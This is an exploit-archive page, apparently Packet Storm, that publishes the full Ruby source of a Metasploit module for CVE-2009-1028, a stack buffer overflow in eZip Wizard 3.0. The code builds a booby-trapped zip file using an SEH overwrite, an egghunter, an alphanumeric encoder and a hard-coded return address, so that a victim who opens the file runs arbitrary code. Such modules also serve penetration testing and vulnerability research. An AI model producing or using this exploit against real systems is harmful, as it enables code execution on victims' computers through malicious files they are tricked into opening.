what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

eZip Wizard 3.0 Stack Buffer Overflow

eZip Wizard 3.0 Stack Buffer Overflow
Posted Apr 25, 2011
Authored by fl0 fl0w, jduck, Lincoln | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in version 3.0 of ediSys Corp.'s eZip Wizard. In order for the command to be executed, an attacker must convince someone to open a specially crafted zip file with eZip Wizard, and access the specially file via double-clicking it. By doing so, an attacker can execute arbitrary code as the victim user.

tags | exploit, overflow, arbitrary
advisories | CVE-2009-1028, OSVDB-52815
SHA-256 | f7cf6b8da01815b33b60d03bf75a15fdc34e7db6f1efa9610628e431ece1a389

eZip Wizard 3.0 Stack Buffer Overflow

Change Mirror Download
##
# $Id: ezip_wizard_bof.rb 12428 2011-04-25 01:06:34Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/zip'


class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'eZip Wizard 3.0 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
version 3.0 of ediSys Corp.'s eZip Wizard.

In order for the command to be executed, an attacker must convince someone to
open a specially crafted zip file with eZip Wizard, and access the specially
file via double-clicking it. By doing so, an attacker can execute arbitrary
code as the victim user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'fl0 fl0w', #Initial discovery, poc
'jduck', #Metasploit
'Lincoln', #Complete Metasploit port
],
'Version' => '$Revision: 12428 $',
'References' =>
[
[ 'CVE', '2009-1028' ],
[ 'OSVDB', '52815' ],
[ 'BID', '34044' ],
[ 'URL', 'http://www.edisys.com/' ],
[ 'URL', 'http://www.exploit-db.com/exploits/8180' ],
[ 'URL', 'http://www.exploit-db.com/exploits/12059/' ],
],
'Platform' => [ 'win' ],
'Payload' =>
{
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
},
'Targets' =>
[
['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }],
],
'DisclosureDate' => 'Mar 09 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
OptString.new('USERNAME', [ true, 'Username', ''])
], self.class)

end

def exploit

#These badchars do not apply to the final payload
badchars = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e"

eggoptions =
{
:checksum => true,
:eggtag => 'w00t'
}

hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

[ 'x86/alpha_mixed'].each { |name|
enc = framework.encoders.create(name)
if name =~/alpha/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
end
hunter = enc.encode(hunter, nil, nil, platform)
}

#Username length affects our offset to hit SEH correctly
if datastore['USERNAME'].length >= 9
padding = rand_text_alpha(target['Offset'] - 8)
else
padding = rand_text_alpha(target['Offset'] - datastore['USERNAME'].length)
end

fname = padding
fname << "\x61\x61\x7a\x04" #nseh, align + conditional jmp
fname << [target.ret].pack('V') #seh
fname << "\x61" * 29 #align for hunter
fname << "\x58\x58\x41" #align for hunter
fname << hunter
fname << egg

zip = Rex::Zip::Archive.new
xtra = [0xdac0ffee].pack('V')
comment = [0xbadc0ded].pack('V')
zip.add_file(fname, xtra, comment)

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(zip.pack)
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close